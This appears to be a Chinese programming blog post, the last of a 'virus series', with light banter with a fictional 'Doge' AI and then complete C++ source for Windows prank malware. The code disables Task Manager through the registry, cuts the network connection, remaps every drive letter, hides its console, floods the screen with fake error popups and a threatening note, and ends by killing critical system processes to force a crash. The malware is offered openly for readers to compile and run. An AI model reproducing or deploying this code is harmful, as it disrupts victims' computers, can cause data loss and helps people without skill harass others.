C++:病毒系列回归记3/3 (Doge智能系统已上线)

上一期:C++:病毒系列回归记2/3

上上期:C++:病毒系列回归记1/3

Doge:(脑回路修复完成,开始导入系统)(正在上线ing......)

Doge:提示:若没有看1和2的话,尽量先去看一下,否则可能看不懂。本期内容废话有点 多,

可以直接看完整代码。

我:哟,没事了呀?上期没有气到你吧?

Doge:......

上期说给你们整个完整代码,OKK

Doge:作者,请注意您的用词,英语词典中未有定义'OKK'这个词

Doge:错误代码↓↓↓

我:(直接给Doge关机了)

代码奉上:

cpp 复制代码
#include <windows.h>
#include <time.h>
#include <bits/stdc++.h>
using namespace std;

void Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}

void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{
	system("ipconfig /release"); 
}

void Make_Text(string same, string name)
{
	
	ofstream outfile(same,ios::out); 
	outfile << name;
	outfile.close();	
}

void CP_start()
{
	Make_Text("A.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
	system("start A.bat");
}

//鼠标指针的好管理
void Currur(int q)
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    if (q == 1)//当q为1时,进入死循环。
	    while(1)
	    	SetCursorPos(rand() % x, rand() % y);			
	else{//乱移鼠标的线程
	    while(q){
	    	SetCursorPos(rand() % x, rand() % y);
	    	q--;
		}	
	}
}
//控制台的好管理
void Hide()
{
    HWND s;
	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	if (s) {
		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
		ShowWindow(s, SW_HIDE);//隐藏窗口
	}	
}

void CP_stop()
{
	Make_Text("B.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
	system("start B.bat");
}

void Make()
{
	Make_Text("ラム.vbs", "do\nmsgbox\"あなたのコンピュータGG\"\nloop");

	Make_Text("今年のトラック.vbs", "msgbox\"このプログラムは有効な 32 ビット プログラムではありません\",vbCritical");

	Make_Text("ロシアのスートン焼却発電.vbs", "msgbox\"致命的な重大なエラー\",vbExclamation");

	Make_Text("混雑した.vbs", "msgbox\"ごみ箱を空にしますか\",vbYesNo + vbInformation");	

	Make_Text("カトゥルピ.vbs", "msgbox\"あなたのコンピュータ\",vbYesNoCancel + vbQuestion");	

	Make_Text("防食層.vbs", "msgbox\"あたのコンピなたのコンピュータ!\",vbExclamation\nmsgbox\"韓国の錦湖がビッグVにコストをもたらす......\",vbCritical\n");

	Make_Text("MEMZ.txt", "YOUR computer will not be able to restart again. Your C drive has been destroyed. \nWait for the coming of the god of death! \nYou will have to go to the computer city to buy a new computer. Your prediction was one step behind mine.\nStupid human!");
	
}

void Crazy(int n)
{
	if(n == 0)
		system("start ラム.vbs");
	if(n == 1)
		system("start 今年のトラック.vbs");
	if(n == 2)
		system("start ロシアのスートン焼却発電.vbs");
	if(n == 3)
		system("start 混雑した.vbs");		
	if(n == 4)
		system("start カトゥルピ.vbs");	
	if(n == 5)
		system("start 防食層.vbs");	
}

void ColorChange(){
	//while(1){
	    int cx=GetSystemMetrics(SM_CXSCREEN);
	    int cy=GetSystemMetrics(SM_CYSCREEN);
	    HWND hwnds;
	    hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	    if (hwnds) {
	        ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
	        ShowWindow(hwnds, SW_HIDE);//隐藏窗口
	    }
	    HDC hdcs = GetDC(0);
	    BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY); 
	    Sleep(1000);
	//}
}

bool MaKer_ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}

void Tsk()
{
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}

void exe(int same)
{
	if(same == 0)	
		system("start notepad");
	if(same == 1)	
		system("start calc");
	if(same == 2)	
		system("start winver");
	if(same == 3)	
		system("start Nslookup");
	if(same == 4)	
		system("start cmd");
	if(same == 5)	
		system("start cleanmgr");
	if(same == 6)	
		system("start charmap");
	if(same == 7)	
		system("start dxdiag");
	if(same == 8)	
		system("start taskmgr");
	if(same == 9)	
		system("start wiaacmgr");		
	if(same == 10)	
		system("start mspaint");
	if(same == 11)	
		system("start mmc");
	if(same == 12)	
		system("start explorer.exe");
}

void icon(int x, int y, int n)
{
	FreeConsole();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
		GetCursorPos(&point);//锁定鼠标位置
		if(n == 1)//错误图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
		if(n == 2)//感叹号图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
		if(n == 3)//应用程序图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
}

void Black_White()
{
    FreeConsole();
    int x, y;
    x = GetSystemMetrics(SM_CYSCREEN);
    y = GetSystemMetrics(SM_CYSCREEN);
    HWND hwnda = GetDesktopWindow();
    HDC hdca = GetWindowDC(hwnda);
    POINT pointa;
	POINT point;
        GetCursorPos(&point);
        DrawIcon(hdca, pointa.x - 5, pointa.y - 5, LoadIcon(0, IDI_ERROR));
        int randx, randy;
        randx = rand() % x + 0;
        randy = rand() % y + 0;
        BitBlt(GetDC(0),rand() % x + 0, rand() % y + 0,randx+200,randy+200,GetDC(0),randx,randy,NOTSRCCOPY);
        //a = GetSystemMetrics(SM_CYSCREEN);
}
int main() {
	Hide();
	Tsk();
	Make();
	explore();
	release();
	srand((unsigned)time(NULL));
	system("start MEMZ.txt");
	Sleep(10000);
	int random;
	int times = 50;
	CP_start();
	while(1)
	{
		random = rand() % 6;
		Crazy(random);
		Sleep(random * 200 + 500);
		times -= 1;
		if(times == 0)
			break;
	}
	times = 20;
	while(1)
	{
		random = rand() % 13;
		exe(random);
		random = rand() % 3;
		icon(0, 0, random + 1);
		Sleep(random * 200 + 500);
		times -= 1;
		if(times == 0)
			break;
	}
	Sleep(1000);
	Blue_Screen();
}

先别急着走啊,按个Ctrl+D有惊喜啊

相关推荐
Reese_Cool4 分钟前
【C语言二级考试】循环结构设计
android·java·c语言·开发语言
海里真的有鱼5 分钟前
Spring Boot 项目中整合 RabbitMQ,使用死信队列(Dead Letter Exchange, DLX)实现延迟队列功能
开发语言·后端·rabbitmq
zxctsclrjjjcph21 分钟前
【C语言】常见的C语言概念
c语言·开发语言
小灰灰爱代码26 分钟前
C++——求3个数中最大的数(分别考虑整数、双精度数、长整数的情况),用函数模板来实现。
开发语言·c++·算法
Eiceblue32 分钟前
Python 复制Excel 中的行、列、单元格
开发语言·python·excel
项目題供诗36 分钟前
尚品汇-秒杀商品存入缓存、Redis发布订阅实现状态位(五十一)
开发语言·php
m0_7145902644 分钟前
汇编(实现C语言程序的调用)
c语言·开发语言·汇编
做技术的Pandaer1 小时前
Go 第二期
开发语言·golang
新知图书1 小时前
Rust编程的作用域与所有权
开发语言·后端·rust
极客代码1 小时前
OpenCV Python 深度指南
开发语言·人工智能·python·opencv·计算机视觉